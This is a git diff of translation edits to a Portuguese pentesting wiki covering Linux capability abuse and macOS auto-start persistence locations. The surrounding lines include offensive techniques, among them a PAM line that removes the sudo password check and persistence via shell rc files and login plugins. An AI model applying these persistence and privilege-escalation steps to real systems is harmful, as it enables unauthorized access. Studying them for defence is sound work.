de kill e houver um **programa node rodando como root** (ou como um usuário diferente), você provavelmente poderia **enviar** o **sinal SIGUSR1** e fazer com que ele **abra o depurador do node** para onde você pode se conectar. ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d @@ -1290,13 +1289,14 @@ kill -s SIGUSR1 electron-cef-chromium-debugger-abuse.md {{#endref}} + ## CAP_NET_BIND_SERVICE **Isso significa que é possível escutar em qualquer porta (mesmo nas privilegiadas).** Você não pode escalar privilégios diretamente com essa capacidade. **Exemplo com binário** -Se **`python`** tiver essa capacidade, ele poderá escutar em qualquer porta e até se conectar a qualquer outra porta (alguns serviços exigem conexões de portas com privilégios específicos) +Se **`python`** tiver essa capacidade, ele poderá escutar em qualquer porta e até se conectar a qualquer outra porta (alguns serviços requerem conexões de portas com privilégios específicos) {{#tabs}} {{#tab name="Listen"}} @@ -1312,7 +1312,7 @@ print(output) ``` {{#endtab}} -{{#tab name="Conectar"}} +{{#tab name="Connect"}} ```python import socket s=socket.socket() @@ -1324,7 +1324,7 @@ s.connect(('10.10.10.10',500)) ## CAP_NET_RAW -A capacidade [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que processos **criem sockets RAW e PACKET**, possibilitando gerar e enviar pacotes de rede arbitrários. Isso pode levar a riscos de segurança em ambientes containerizados, como spoofing de pacotes, injeção de tráfego e contorno de controles de acesso à rede. Atores maliciosos poderiam explorar isso para interferir no roteamento de containers ou comprometer a segurança da rede do host, especialmente sem proteções adequadas de firewall. Além disso, **CAP_NET_RAW** é crucial para containers privilegiados suportarem operações como ping via solicitações RAW ICMP. +A capacidade [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que processos **criem sockets RAW e PACKET**, possibilitando a geração e envio de pacotes de rede arbitrários. Isso pode levar a riscos de segurança em ambientes containerizados, como spoofing de pacotes, injeção de tráfego e contorno de controles de acesso à rede. Atores maliciosos poderiam explorar isso para interferir no roteamento de containers ou comprometer a segurança da rede do host, especialmente sem proteções adequadas de firewall. Além disso, **CAP_NET_RAW** é crucial para containers privilegiados suportarem operações como ping via solicitações ICMP RAW. **Isso significa que é possível monitorar o tráfego.** Você não pode escalar privilégios diretamente com essa capacidade. @@ -1385,7 +1385,7 @@ count=count+1 ``` ## CAP_NET_ADMIN + CAP_NET_RAW -A capacidade [**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) concede ao detentor o poder de **alterar configurações de rede**, incluindo configurações de firewall, tabelas de roteamento, permissões de soquete e configurações de interface de rede dentro dos namespaces de rede expostos. Também permite ativar o **modo promíscuo** nas interfaces de rede, permitindo a captura de pacotes entre namespaces. +[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) a capacidade concede ao portador o poder de **alterar configurações de rede**, incluindo configurações de firewall, tabelas de roteamento, permissões de soquete e configurações de interface de rede dentro dos namespaces de rede expostos. Também permite ativar o **modo promíscuo** nas interfaces de rede, permitindo a captura de pacotes entre namespaces. **Exemplo com binário** @@ -1451,7 +1451,7 @@ f.write('New content for the file\n') ## CAP_SYSLOG -[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) foi separado do mais amplo **CAP_SYS_ADMIN** no Linux 2.6.37, concedendo especificamente a capacidade de usar a chamada `syslog(2)`. Esta capacidade permite a visualização de endereços do kernel via `/proc` e interfaces semelhantes quando a configuração `kptr_restrict` está em 1, que controla a exposição de endereços do kernel. Desde o Linux 2.6.39, o padrão para `kptr_restrict` é 0, significando que os endereços do kernel estão expostos, embora muitas distribuições definam isso como 1 (ocultar endereços, exceto do uid 0) ou 2 (sempre ocultar endereços) por razões de segurança. +[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) foi separado do mais amplo **CAP_SYS_ADMIN** no Linux 2.6.37, concedendo especificamente a capacidade de usar a chamada `syslog(2)`. Esta capacidade permite a visualização de endereços de kernel via `/proc` e interfaces semelhantes quando a configuração `kptr_restrict` está em 1, que controla a exposição de endereços de kernel. Desde o Linux 2.6.39, o padrão para `kptr_restrict` é 0, significando que os endereços de kernel estão expostos, embora muitas distribuições definam isso como 1 (ocultar endereços, exceto do uid 0) ou 2 (sempre ocultar endereços) por razões de segurança. Além disso, **CAP_SYSLOG** permite acessar a saída de `dmesg` quando `dmesg_restrict` está definido como 1. Apesar dessas mudanças, **CAP_SYS_ADMIN** mantém a capacidade de realizar operações `syslog` devido a precedentes históricos. @@ -1468,7 +1468,7 @@ Esta capacidade é essencial para processos que requerem a habilidade de criar a Esta capacidade permite realizar elevações de privilégio (através de leitura completa do disco) no host, sob estas condições: -1. Ter acesso inicial ao host (não privilegiado). +1. Ter acesso inicial ao host (sem privilégios). 2. Ter acesso inicial ao contêiner (privilegiado (EUID 0) e efetivo `CAP_MKNOD`). 3. O host e o contêiner devem compartilhar o mesmo namespace de usuário. @@ -1499,11 +1499,11 @@ ps aux | grep -i container_name | grep -i standarduser # Access the container's filesystem and the special block device head /proc/12345/root/dev/sdb ``` -Essa abordagem permite que o usuário padrão acesse e potencialmente leia dados de `/dev/sdb` através do contêiner, explorando namespaces de usuário compartilhados e permissões definidas no dispositivo. +Esta abordagem permite que o usuário padrão acesse e potencialmente leia dados de `/dev/sdb` através do contêiner, explorando namespaces de usuário compartilhados e permissões definidas no dispositivo. ### CAP_SETPCAP -**CAP_SETPCAP** permite que um processo **altere os conjuntos de capacidades** de outro processo, permitindo a adição ou remoção de capacidades dos conjuntos efetivos, herdáveis e permitidos. No entanto, um processo só pode modificar capacidades que possui em seu próprio conjunto permitido, garantindo que não possa elevar os privilégios de outro processo além dos seus. Atualizações recentes do kernel apertaram essas regras, restringindo `CAP_SETPCAP` a apenas diminuir as capacidades dentro de seu próprio conjunto permitido ou dos conjuntos permitidos de seus descendentes, visando mitigar riscos de segurança. O uso requer ter `CAP_SETPCAP` no conjunto efetivo e as capacidades alvo no conjunto permitido, utilizando `capset()` para modificações. Isso resume a função central e as limitações de `CAP_SETPCAP`, destacando seu papel na gestão de privilégios e no aprimoramento da segurança. +**CAP_SETPCAP** permite que um processo **altere os conjuntos de capacidades** de outro processo, permitindo a adição ou remoção de capacidades dos conjuntos efetivos, herdáveis e permitidos. No entanto, um processo só pode modificar capacidades que possui em seu próprio conjunto permitido, garantindo que não possa elevar os privilégios de outro processo além dos seus próprios. Atualizações recentes do kernel apertaram essas regras, restringindo `CAP_SETPCAP` a apenas diminuir as capacidades dentro de seu próprio conjunto permitido ou dos conjuntos permitidos de seus descendentes, visando mitigar riscos de segurança. O uso requer ter `CAP_SETPCAP` no conjunto efetivo e as capacidades alvo no conjunto permitido, utilizando `capset()` para modificações. Isso resume a função central e as limitações de `CAP_SETPCAP`, destacando seu papel na gestão de privilégios e no aprimoramento da segurança. **`CAP_SETPCAP`** é uma capacidade do Linux que permite que um processo **modifique os conjuntos de capacidades de outro processo**. Ela concede a capacidade de adicionar ou remover capacidades dos conjuntos de capacidades efetivas, herdáveis e permitidas de outros processos. No entanto, existem certas restrições sobre como essa capacidade pode ser usada. diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md index 832dac898..4c86fcb3f 100644 --- a/src/macos-hardening/macos-auto-start-locations.md +++ b/src/macos-hardening/macos-auto-start-locations.md @@ -78,7 +78,7 @@ Existem casos em que um **agente precisa ser executado antes do login do usuári > Novos arquivos de configuração de Daemons ou Agents serão **carregados após a próxima reinicialização ou usando** `launchctl load `. É **também possível carregar arquivos .plist sem essa extensão** com `launchctl -F ` (no entanto, esses arquivos plist não serão carregados automaticamente após a reinicialização).\ > Também é possível **descarregar** com `launchctl unload ` (o processo apontado por ele será encerrado), > -> Para **garantir** que não há **nada** (como uma substituição) **impedindo** um **Agent** ou **Daemon** **de** **executar**, execute: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` +> Para **garantir** que não há **nada** (como uma substituição) **impedindo** um **Agente** ou **Daemon** **de** **executar**, execute: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` Liste todos os agentes e daemons carregados pelo usuário atual: ```bash @@ -107,7 +107,7 @@ Uma das primeiras coisas que `launchd` faria é **iniciar** todos os **daemons** - **Porta Mach:** - `com.apple.xscertd-helper.plist`: Está indicando na entrada `MachServices` o nome `com.apple.xscertd.helper` - **UserEventAgent:** -- Isso é diferente do anterior. Ele faz com que launchd inicie aplicativos em resposta a eventos específicos. No entanto, neste caso, o binário principal envolvido não é `launchd`, mas sim `/usr/libexec/UserEventAgent`. Ele carrega plugins da pasta restrita pelo SIP /System/Library/UserEventPlugins/ onde cada plugin indica seu inicializador na chave `XPCEventModuleInitializer` ou, no caso de plugins mais antigos, no dicionário `CFPluginFactories` sob a chave `FB86416D-6164-2070-726F-70735C216EC0` de seu `Info.plist`. +- Isso é diferente do anterior. Ele faz com que launchd inicie aplicativos em resposta a eventos específicos. No entanto, neste caso, o binário principal envolvido não é `launchd`, mas `/usr/libexec/UserEventAgent`. Ele carrega plugins da pasta restrita pelo SIP /System/Library/UserEventPlugins/ onde cada plugin indica seu inicializador na chave `XPCEventModuleInitializer` ou, no caso de plugins mais antigos, no dicionário `CFPluginFactories` sob a chave `FB86416D-6164-2070-726F-70735C216EC0` de seu `Info.plist`. ### arquivos de inicialização do shell @@ -155,7 +155,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc **Escrita**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) - Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) -- Contorno TCC: [🔴](https://emojipedia.org/large-red-circle) +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização @@ -190,7 +190,7 @@ Para **adicionar um aplicativo a esta lista** você pode usar: - Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) - Contorno do TCC: [✅](https://emojipedia.org/check-mark-button) -- O uso do Terminal deve ter permissões FDA do usuário que o utiliza +- O uso do Terminal para ter permissões FDA do usuário que o utiliza #### Localização @@ -232,10 +232,10 @@ Você pode adicionar isso a partir da linha de comando com: # Remove /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist ``` -### Scripts de Terminal / Outras extensões de arquivo +### Terminal Scripts / Outras extensões de arquivo - Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) -- Contorno de TCC: [✅](https://emojipedia.org/check-mark-button) +- Contorno TCC: [✅](https://emojipedia.org/check-mark-button) - O uso do Terminal para ter permissões FDA do usuário que o utiliza #### Localização @@ -278,7 +278,7 @@ open /tmp/test.terminal Você também pode usar as extensões **`.command`**, **`.tool`**, com conteúdo de scripts de shell regulares e eles também serão abertos pelo Terminal. > [!CAUTION] -> Se o terminal tiver **Acesso Completo ao Disco**, ele poderá completar essa ação (note que o comando executado será visível em uma janela do terminal). +> Se o terminal tiver **Acesso Total ao Disco**, ele poderá completar essa ação (note que o comando executado será visível em uma janela do terminal). ### Plugins de Áudio @@ -305,7 +305,7 @@ Escrita: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https:// #### Descrição -De acordo com as escritas anteriores, é possível **compilar alguns plugins de áudio** e fazê-los serem carregados. +De acordo com as escritas anteriores, é possível **compilar alguns plugins de áudio** e carregá-los. ### Plugins QuickLook @@ -327,7 +327,7 @@ Escrita: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.g Plugins QuickLook podem ser executados quando você **aciona a pré-visualização de um arquivo** (pressione a barra de espaço com o arquivo selecionado no Finder) e um **plugin que suporta esse tipo de arquivo** está instalado. -É possível compilar seu próprio plugin QuickLook, colocá-lo em uma das localizações anteriores para carregá-lo e então ir para um arquivo suportado e pressionar espaço para acioná-lo. +É possível compilar seu próprio plugin QuickLook, colocá-lo em uma das localizações anteriores para carregá-lo e, em seguida, ir para um arquivo suportado e pressionar espaço para acioná-lo. ### ~~Hooks de Login/Logout~~ @@ -373,10 +373,10 @@ defaults delete com.apple.loginwindow LogoutHook ``` O usuário root é armazenado em **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** -## Bypass de Sandbox Condicional +## Bypass Condicional de Sandbox > [!TIP] -> Aqui você pode encontrar locais de início úteis para **bypass de sandbox** que permitem que você simplesmente execute algo **escrevendo em um arquivo** e **esperando condições não tão comuns** como **programas específicos instalados, ações de usuário "incomuns"** ou ambientes. +> Aqui você pode encontrar locais de início úteis para **bypass de sandbox** que permitem que você simplesmente execute algo **escrevendo em um arquivo** e **esperando condições não tão comuns** como **programas específicos instalados, ações de usuário "não comuns"** ou ambientes. ### Cron @@ -418,10 +418,10 @@ crontab /tmp/cron Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.github.io/beyond/beyond_0002/) - Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) -- Contorno TCC: [✅](https://emojipedia.org/check-mark-button) -- iTerm2 costumava ter permissões TCC concedidas +- Contorno de TCC: [✅](https://emojipedia.org/check-mark-button) +- O iTerm2 costumava ter permissões de TCC concedidas -#### Locais +#### Localizações - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** - **Gatilho**: Abrir iTerm @@ -494,17 +494,17 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2 ### xbar -Escrita: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.github.io/beyond/beyond_0007/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.github.io/beyond/beyond_0007/) - Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) -- Mas xbar deve estar instalado -- Bypass TCC: [✅](https://emojipedia.org/check-mark-button) +- Mas o xbar deve estar instalado +- Bypass do TCC: [✅](https://emojipedia.org/check-mark-button) - Solicita permissões de Acessibilidade #### Localização - **`~/Library/Application\ Support/xbar/plugins/`** -- **Gatilho**: Uma vez que xbar é executado +- **Gatilho**: Uma vez que o xbar é executado #### Descrição @@ -521,8 +521,8 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" **Escrita**: [https://theevilbit.github.io/beyond/beyond_0008/](https://theevilbit.github.io/beyond/beyond_0008/) - Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) -- Mas o Hammerspoon deve ser instalado -- Contorno TCC: [✅](https://emojipedia.org/check-mark-button) +- Mas o Hammerspoon deve estar instalado +- Bypass TCC: [✅](https://emojipedia.org/check-mark-button) - Ele solicita permissões de Acessibilidade #### Localização @@ -545,20 +545,20 @@ EOF - Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) - Mas o BetterTouchTool deve ser instalado -- Contorno TCC: [✅](https://emojipedia.org/check-mark-button) -- Ele solicita permissões de Automação-Atalhos e Acessibilidade +- Bypass TCC: [✅](https://emojipedia.org/check-mark-button) +- Ele solicita permissões de Automação-Curtas e Acessibilidade #### Localização - `~/Library/Application Support/BetterTouchTool/*` -Esta ferramenta permite indicar aplicativos ou scripts a serem executados quando alguns atalhos são pressionados. Um atacante pode ser capaz de configurar seu próprio **atalho e ação a serem executados no banco de dados** para fazer com que ele execute código arbitrário (um atalho pode ser apenas pressionar uma tecla). +Esta ferramenta permite indicar aplicativos ou scripts a serem executados quando alguns atalhos são pressionados. Um atacante pode ser capaz de configurar seu próprio **atalho e ação a serem executados no banco de dados** para fazer com que ele execute código arbitrário (um atalho poderia ser apenas pressionar uma tecla). ### Alfred - Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) - Mas o Alfred deve ser instalado -- Contorno TCC: [✅](https://emojipedia.org/check-mark-button) +- Bypass TCC: [✅](https://emojipedia.org/check-mark-button) - Ele solicita permissões de Automação, Acessibilidade e até mesmo Acesso Completo ao Disco #### Localização @@ -573,7 +573,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.g - Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) - Mas o ssh precisa estar habilitado e em uso -- Contorno TCC: [✅](https://emojipedia.org/check-mark-button) +- Bypass TCC: [✅](https://emojipedia.org/check-mark-button) - O uso do SSH deve ter acesso FDA #### Localização @@ -601,7 +601,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.g - Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) - Mas você precisa executar `osascript` com args -- Contorno TCC: [🔴](https://emojipedia.org/large-red-circle) +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localizações @@ -715,7 +715,7 @@ O nome do arquivo contém a fila, o número do trabalho e o horário em que est - `a` - esta é a fila - `0001a` - número do trabalho em hex, `0x1a = 26` -- `019bdcd2` - tempo em hex. Representa os minutos passados desde a época. `0x019bdcd2` é `26991826` em decimal. Se multiplicarmos por 60, obtemos `1619509560`, que é `GMT: 2021. Abril 27., Terça-feira 7:46:00`. +- `019bdcd2` - tempo em hex. Representa os minutos passados desde a época. `0x019bdcd2` é `26991826` em decimal. Se multiplicarmos por 60, obtemos `1619509560`, que é `GMT: 27 de abril de 2021, terça-feira 7:46:00`. Se imprimirmos o arquivo do trabalho, descobrimos que contém as mesmas informações que obtivemos usando `at -c`. @@ -762,7 +762,7 @@ Para tornar o script acima utilizável por Ações de Pasta, compile-o usando: ```bash osacompile -l JavaScript -o folder.scpt source.js ``` -Após o script ser compilado, configure as Ações de Pasta executando o script abaixo. Este script habilitará as Ações de Pasta globalmente e anexará especificamente o script compilado anteriormente à pasta Desktop. +Após a compilação do script, configure as Ações de Pasta executando o script abaixo. Este script ativará as Ações de Pasta globalmente e anexará especificamente o script compilado anteriormente à pasta Desktop. ```javascript // Enabling and attaching Folder Action var se = Application("System Events") @@ -822,8 +822,8 @@ Agora que temos um ambiente vazio Relatório: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) -- Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) -- Mas você precisa ter um aplicativo malicioso instalado dentro do sistema +- Útil para contornar o sandbox: [✅](https://emojipedia.org/check-mark-button) +- Mas você precisa ter instalado um aplicativo malicioso dentro do sistema - Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização @@ -898,11 +898,11 @@ killall Dock ``` ### Seletor de Cores -Escrita: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.github.io/beyond/beyond_0017/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.github.io/beyond/beyond_0017/) -- Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Útil para contornar o sandbox: [🟠](https://emojipedia.org/large-orange-circle) - Uma ação muito específica precisa acontecer -- Você acabará em outra sandbox +- Você acabará em outro sandbox - Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização @@ -915,11 +915,11 @@ Escrita: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.gi #### Descrição & Exploit -**Compile um seletor de cores** com seu código (você pode usar [**este, por exemplo**](https://github.com/viktorstrate/color-picker-plus)) e adicione um construtor (como na [seção Protetor de Tela](macos-auto-start-locations.md#screen-saver)) e copie o pacote para `~/Library/ColorPickers`. +**Compile um seletor de cores** bundle com seu código (você pode usar [**este aqui, por exemplo**](https://github.com/viktorstrate/color-picker-plus)) e adicione um construtor (como na [seção de Protetor de Tela](macos-auto-start-locations.md#screen-saver)) e copie o bundle para `~/Library/ColorPickers`. Então, quando o seletor de cores for acionado, seu código também deverá ser. -Note que o binário que carrega sua biblioteca tem uma **sandbox muito restritiva**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` +Note que o binário que carrega sua biblioteca tem um **sandbox muito restritivo**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` ```bash [Key] com.apple.security.temporary-exception.sbpl [Value] @@ -975,7 +975,7 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p Crie um novo projeto no Xcode e selecione o modelo para gerar um novo **Protetor de Tela**. Em seguida, adicione seu código a ele, por exemplo, o seguinte código para gerar logs. -**Compile** e copie o pacote `.saver` para **`~/Library/Screen Savers`**. Em seguida, abra a GUI do Protetor de Tela e, se você apenas clicar nele, deve gerar muitos logs: +**Compile** e copie o pacote `.saver` para **`~/Library/Screen Savers`**. Depois, abra a GUI do Protetor de Tela e, se você apenas clicar nele, deve gerar muitos logs: ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"' @@ -1053,13 +1053,13 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); @end ``` -### Plugins do Spotlight +### Spotlight Plugins writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.github.io/beyond/beyond_0011/) - Útil para contornar o sandbox: [🟠](https://emojipedia.org/large-orange-circle) - Mas você acabará em um sandbox de aplicativo -- Bypass do TCC: [🔴](https://emojipedia.org/large-red-circle) +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) - O sandbox parece muito limitado #### Localização @@ -1081,9 +1081,9 @@ writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.g Spotlight é o recurso de busca integrado do macOS, projetado para fornecer aos usuários **acesso rápido e abrangente aos dados em seus computadores**.\ Para facilitar essa capacidade de busca rápida, o Spotlight mantém um **banco de dados proprietário** e cria um índice **analisando a maioria dos arquivos**, permitindo buscas rápidas tanto por nomes de arquivos quanto por seu conteúdo. -O mecanismo subjacente do Spotlight envolve um processo central chamado 'mds', que significa **'servidor de metadados'.** Este processo orquestra todo o serviço Spotlight. Complementando isso, existem vários daemons 'mdworker' que realizam uma variedade de tarefas de manutenção, como indexar diferentes tipos de arquivos (`ps -ef | grep mdworker`). Essas tarefas são possibilitadas por meio de plugins importadores do Spotlight, ou **".mdimporter bundles**", que permitem que o Spotlight entenda e indexe conteúdo em uma ampla gama de formatos de arquivo. +O mecanismo subjacente do Spotlight envolve um processo central chamado 'mds', que significa **'servidor de metadados'.** Este processo orquestra todo o serviço Spotlight. Complementando isso, existem vários daemons 'mdworker' que realizam uma variedade de tarefas de manutenção, como indexar diferentes tipos de arquivos (`ps -ef | grep mdworker`). Essas tarefas são possibilitadas por meio de plugins importadores do Spotlight, ou **".mdimporter bundles"**, que permitem que o Spotlight entenda e indexe conteúdo em uma ampla gama de formatos de arquivo. -Os plugins ou **`.mdimporter`** bundles estão localizados nos lugares mencionados anteriormente e, se um novo bundle aparecer, ele é carregado em um minuto (não é necessário reiniciar nenhum serviço). Esses bundles precisam indicar quais **tipos de arquivo e extensões podem gerenciar**, assim, o Spotlight os usará quando um novo arquivo com a extensão indicada for criado. +Os plugins ou **`.mdimporter`** bundles estão localizados nos lugares mencionados anteriormente e, se um novo bundle aparecer, ele é carregado em um minuto (não é necessário reiniciar nenhum serviço). Esses bundles precisam indicar quais **tipos de arquivo e extensões podem gerenciar**, dessa forma, o Spotlight os usará quando um novo arquivo com a extensão indicada for criado. É possível **encontrar todos os `mdimporters`** carregados executando: ```bash @@ -1149,7 +1149,7 @@ Escrita: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.g - Útil para contornar o sandbox: [🟠](https://emojipedia.org/large-orange-circle) - Precisa de uma ação específica do usuário -- Contorno TCC: [🔴](https://emojipedia.org/large-red-circle) +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização @@ -1161,10 +1161,10 @@ Escrita: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.g Não parece que isso esteja funcionando mais. -## Contorno do Sandbox Root +## Bypass de Sandbox Root > [!TIP] -> Aqui você pode encontrar locais de início úteis para **contorno de sandbox** que permitem que você simplesmente execute algo **escrevendo em um arquivo** sendo **root** e/ou exigindo outras **condições estranhas.** +> Aqui você pode encontrar locais de início úteis para **bypass de sandbox** que permitem que você simplesmente execute algo **escrevendo em um arquivo** sendo **root** e/ou exigindo outras **condições estranhas.** ### Periódico @@ -1172,7 +1172,7 @@ Escrita: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.g - Útil para contornar o sandbox: [🟠](https://emojipedia.org/large-orange-circle) - Mas você precisa ser root -- Contorno TCC: [🔴](https://emojipedia.org/large-red-circle) +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização @@ -1185,7 +1185,7 @@ Escrita: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.g #### Descrição & Exploração -Os scripts periódicos (**`/etc/periodic`**) são executados devido aos **launch daemons** configurados em `/System/Library/LaunchDaemons/com.apple.periodic*`. Note que os scripts armazenados em `/etc/periodic/` são **executados** como o **proprietário do arquivo**, então isso não funcionará para uma potencial elevação de privilégio. +Os scripts periódicos (**`/etc/periodic`**) são executados devido aos **launch daemons** configurados em `/System/Library/LaunchDaemons/com.apple.periodic*`. Note que os scripts armazenados em `/etc/periodic/` são **executados** como o **proprietário do arquivo**, então isso não funcionará para uma potencial escalada de privilégios. ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* @@ -1226,7 +1226,7 @@ monthly_local="/etc/monthly.local" # Local scripts Se você conseguir escrever em qualquer um dos arquivos `/etc/daily.local`, `/etc/weekly.local` ou `/etc/monthly.local`, ele será **executado mais cedo ou mais tarde**. > [!WARNING] -> Note que o script periódico será **executado como o proprietário do script**. Portanto, se um usuário regular for o proprietário do script, ele será executado como esse usuário (isso pode prevenir ataques de escalonamento de privilégios). +> Note que o script periódico será **executado como o proprietário do script**. Portanto, se um usuário comum for o proprietário do script, ele será executado como esse usuário (isso pode prevenir ataques de escalonamento de privilégios). ### PAM @@ -1249,7 +1249,7 @@ Verifique os módulos PAM com: ```bash ls -l /etc/pam.d ``` -Uma técnica de persistência/escalonamento de privilégios que abusa do PAM é tão simples quanto modificar o módulo /etc/pam.d/sudo adicionando no início a linha: +Uma técnica de persistência/escalonamento de privilégios que abusa do PAM é tão fácil quanto modificar o módulo /etc/pam.d/sudo adicionando no início a linha: ```bash auth sufficient pam_permit.so ``` @@ -1297,7 +1297,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza #### Descrição & Exploração -Você pode criar um plugin de autorização que será executado quando um usuário fizer login para manter a persistência. Para mais informações sobre como criar um desses plugins, consulte os writeups anteriores (e tenha cuidado, um mal escrito pode te trancar fora e você precisará limpar seu mac a partir do modo de recuperação). +Você pode criar um plugin de autorização que será executado quando um usuário fizer login para manter a persistência. Para mais informações sobre como criar um desses plugins, consulte os writeups anteriores (e tenha cuidado, um mal escrito pode te trancar para fora e você precisará limpar seu mac a partir do modo de recuperação). ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1349,7 +1349,7 @@ Escrita: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.g - Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle) - Mas você precisa ser root e o usuário deve usar man -- Contorno TCC: [🔴](https://emojipedia.org/large-red-circle) +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização @@ -1379,8 +1379,8 @@ touch /tmp/manconf - Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle) - Mas você precisa ser root e o apache precisa estar em execução -- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) -- Httpd não tem permissões +- Contorno TCC: [🔴](https://emojipedia.org/large-red-circle) +- Httpd não possui permissões #### Localização @@ -1412,13 +1412,13 @@ printf("[+] dylib constructor called from %s\n", argv[0]); syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); } ``` -### Estrutura de auditoria BSM +### BSM audit framework -Escrita: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.github.io/beyond/beyond_0031/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.github.io/beyond/beyond_0031/) - Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle) - Mas você precisa ser root, auditd deve estar em execução e causar um aviso -- Contorno TCC: [🔴](https://emojipedia.org/large-red-circle) +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização @@ -1438,7 +1438,7 @@ Você pode forçar um aviso com `sudo audit -n`. > [!CAUTION] > **Isso está obsoleto, então nada deve ser encontrado nessas diretórios.** -O **StartupItem** é um diretório que deve estar posicionado dentro de `/Library/StartupItems/` ou `/System/Library/StartupItems/`. Uma vez que este diretório é estabelecido, ele deve conter dois arquivos específicos: +O **StartupItem** é um diretório que deve ser posicionado dentro de `/Library/StartupItems/` ou `/System/Library/StartupItems/`. Uma vez que este diretório é estabelecido, ele deve conter dois arquivos específicos: 1. Um **script rc**: Um script shell executado na inicialização. 2. Um **arquivo plist**, especificamente nomeado `StartupParameters.plist`, que contém várias configurações. @@ -1496,23 +1496,23 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.g Introduzido pela Apple, **emond** é um mecanismo de registro que parece estar subdesenvolvido ou possivelmente abandonado, mas ainda permanece acessível. Embora não seja particularmente benéfico para um administrador de Mac, este serviço obscuro poderia servir como um método sutil de persistência para atores de ameaças, provavelmente não percebido pela maioria dos administradores de macOS. -Para aqueles que estão cientes de sua existência, identificar qualquer uso malicioso de **emond** é simples. O LaunchDaemon do sistema para este serviço busca scripts para executar em um único diretório. Para inspecionar isso, o seguinte comando pode ser usado: +Para aqueles cientes de sua existência, identificar qualquer uso malicioso de **emond** é simples. O LaunchDaemon do sistema para este serviço busca scripts para 